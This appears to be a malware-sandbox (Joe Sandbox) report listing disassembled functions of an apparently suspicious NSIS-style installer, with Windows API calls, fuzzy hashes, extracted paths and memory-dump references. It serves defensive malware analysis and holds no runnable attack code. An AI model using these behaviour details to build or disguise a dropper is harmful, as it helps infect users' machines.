Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: a77d82ba430c16999eb1f2306cb11816df14181100402a9e04059793f1b3015d
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: 21E08632150219ABCF10DF948C00EEB3B9CFF04390F018436FD11E3040D630E92197A4

Function 004060F9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040349D,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 0040610D

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: 78408803ccc59d93ae5352641a5e7b8f709900c8df5e8e9e13d69f82a1dcf02f
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: 8FE08C3220021ABBCF109E908C00EEB3FACEB003A0F014432FA26E6050D670E83097A4

Function 004063C4 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,00406452,?,?,?,?,Exec,?,00000000), ref: 004063E8

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction ID: e31b8ecfa4924c4a0859a1c58e61cb12282203f41ec30ad4fda9f6d7c72ae418
Opcode Fuzzy Hash: 8ee5b0d2344bda13eae74e7442d869633e0228d129a7f9cdea9876c3f2a2c01f
Instruction Fuzzy Hash: 68D0123200020DBBDF115E91ED01FAB3B1DAB08310F014426FE16E5091D776D570A764

Function 004015A8 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015B3

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e4d35ef24f86c86e365822f81ff15bb63714950be14a167d72dedfa96a9168d0
Instruction ID: b7b437a2ec26925c6232407c7e58ab903e49824199ec6a3f71ab3ccdd8f320e3
Opcode Fuzzy Hash: e4d35ef24f86c86e365822f81ff15bb63714950be14a167d72dedfa96a9168d0
Instruction Fuzzy Hash: 81D05B72B08104DBDB01DBE8EA48A9E73B4DB50338B21893BD111F11D0D7B8C545A71D

Function 00404522 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404534

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8dc2ea4a8cffd810c80330d43262312fa0f844130cc7d84a637c392e617d0b66
Instruction ID: 7d988476d572be30e71f68111afb2513933db934ea5b2002f3fecefde51a3b0c
Opcode Fuzzy Hash: 8dc2ea4a8cffd810c80330d43262312fa0f844130cc7d84a637c392e617d0b66
Instruction Fuzzy Hash: ACC04C717402007BDA209F50AD49F07775467A0702F1494797341E51E0C674E550D61C

Function 00405B7D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 00405B8C

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: accb29398adcd6f2598047f0fcddae8b07494e52d9cc9fcafc25c5f5f83f3143
Instruction ID: 080962bbef7e268e86b0d243ececfcd1ad47764945baea7f73af6130fa7b9bd6
Opcode Fuzzy Hash: accb29398adcd6f2598047f0fcddae8b07494e52d9cc9fcafc25c5f5f83f3143
Instruction Fuzzy Hash: A9C092F2100201EFE301CF80CB09F067BE8AF54306F028058E1899A060CB788800CB29

Function 0040450B Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5e23afa4ba150cac51e31494d2c9f0ee7f8efb4361c8cf2b7a73957f204a5961
Instruction ID: 777369a795cbaa9bd4fd16da76cbada5404ff361b75e364c58eeef3f96c31ac9
Opcode Fuzzy Hash: 5e23afa4ba150cac51e31494d2c9f0ee7f8efb4361c8cf2b7a73957f204a5961
Instruction Fuzzy Hash: 6BB09235181600AADA115B40DE09F867BA2E7A4701F029438B340640B0CBB210A0DB08

Function 004034EA Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403247,?), ref: 004034F8

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Function 004044F8 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,004042CF), ref: 00404502

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: faa9f1bbc6a73408ed15535010d366895e2d742fa65bef251b9024de670fa5bb
Instruction ID: 186c68f4495094c0cebc3eb7279f68ffc90812dad8dfd9e689695b78415bb769
Opcode Fuzzy Hash: faa9f1bbc6a73408ed15535010d366895e2d742fa65bef251b9024de670fa5bb
Instruction Fuzzy Hash: 43A00176544A04ABCE12EB50EF4990ABB62BBA4B01B618879A285514388B325921EB19

Function 00401FA9 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004055DC: lstrlenW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,0040341D,0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,00000000,00424620,755723A0), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Part of subcall function 00405B3A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
Part of subcall function 00405B3A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FF0

Part of subcall function 004069F6: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406A07
Part of subcall function 004069F6: GetExitCodeProcess.KERNEL32(?,?), ref: 00406A29

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 3e0ab9320d322eb7e83734c8f16b68858ef74ab2c998c223a53f08904ab87bbd
Instruction ID: 72ab4701d282d41bfb99937ccb951c9b3d992b5a19319da95f503844dddfcbd3
Opcode Fuzzy Hash: 3e0ab9320d322eb7e83734c8f16b68858ef74ab2c998c223a53f08904ab87bbd
Instruction Fuzzy Hash: EEF0F032804015ABCB20BBA199849DE72B5CF00318B21413FE102B21D1C77C0E42AA6E

Non-executed Functions

Function 004049C7 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404A16
SetWindowTextW.USER32(00000000,?), ref: 00404A40
SHBrowseForFolderW.SHELL32(?), ref: 00404AF1
CoTaskMemFree.OLE32(00000000), ref: 00404AFC
lstrcmpiW.KERNEL32(Exec,0042CA68,00000000,?,?), ref: 00404B2E
lstrcatW.KERNEL32(?,Exec), ref: 00404B3A
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B4C

Part of subcall function 00405B9B: GetDlgItemTextW.USER32(?,?,00000400,00404B83), ref: 00405BAE

Part of subcall function 00406805: CharNextW.USER32(?,*?|<>/":,00000000,0043F000,75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00406868
Part of subcall function 00406805: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406877
Part of subcall function 00406805: CharNextW.USER32(?,0043F000,75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040687C
Part of subcall function 00406805: CharPrevW.USER32(?,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040688F

GetDiskFreeSpaceW.KERNEL32(0042AA38,?,?,0000040F,?,0042AA38,0042AA38,?,00000001,0042AA38,?,?,000003FB,?), ref: 00404C0F
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C2A

Part of subcall function 00404D83: lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E24
Part of subcall function 00404D83: wsprintfW.USER32 ref: 00404E2D
Part of subcall function 00404D83: SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E40

Strings

A, xrefs: 00404AEA
Exec, xrefs: 00404B28, 00404B2D, 00404B38

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$Exec
API String ID: 2624150263-2074005321
Opcode ID: aab1ff152b07609d5ccd452d97b16b322b3ddb3b1e57e49f69f3ed37cd316d4d
Instruction ID: 8a45afd3ee22384d80319c7ed67abe130e578f1d2b392c1e8909742cb30e522b
Opcode Fuzzy Hash: aab1ff152b07609d5ccd452d97b16b322b3ddb3b1e57e49f69f3ed37cd316d4d
Instruction Fuzzy Hash: FCA192B1900208ABDB11EFA5DD45BAFB7B8EF84314F11803BF611B62D1D77C9A418B69

Function 004021AF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085E8,?,00000001,004085D8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040222E

Strings

C:\Users\user\AppData\Local\acneform\Tjenestepligterne, xrefs: 0040226E

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\acneform\Tjenestepligterne
API String ID: 542301482-3042626848
Opcode ID: 7326b08ec6d512b6b783f70a6e13437ea8f5b6047ef19b1df3461ee5cf714417
Instruction ID: f0c409d0c9855dc16f3492d495f607d4fcaf843261c47ee8c1995525671fe781
Opcode Fuzzy Hash: 7326b08ec6d512b6b783f70a6e13437ea8f5b6047ef19b1df3461ee5cf714417
Instruction Fuzzy Hash: 76411471A00208AFCB40DFE4C989EAD7BB5FF48308B20457AF515EB2D1DB799982CB54

Function 00406DC6 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction ID: a5eb8001d75a17d38d83411349fde439c8a9064fda1b18d7f978e280ae41e255
Opcode Fuzzy Hash: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction Fuzzy Hash: ACE19C71A04709DFCB24CF58C880BAABBF1FF45305F15852EE496A72D1E378AA51CB05

Function 0040759D Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction ID: e409ec8ffb443055957628c835c79614664982182129ebc37b3e11cb9bcd83e5
Opcode Fuzzy Hash: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction Fuzzy Hash: ECC14772E04219CBCF18CF68C4905EEBBB2BF98354F25866AD85677380D7346942CF95

Function 00404F43 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F5B
GetDlgItem.USER32(?,00000408), ref: 00404F66
GlobalAlloc.KERNEL32(00000040,?), ref: 00404FB0
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FC7
SetWindowLongW.USER32(?,000000FC,00405550), ref: 00404FE0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FF4
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405006
SendMessageW.USER32(?,00001109,00000002), ref: 0040501C
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405028
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040503A
DeleteObject.GDI32(00000000), ref: 0040503D
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405068
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405074
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040510F
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040513F

Part of subcall function 0040450B: SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405153
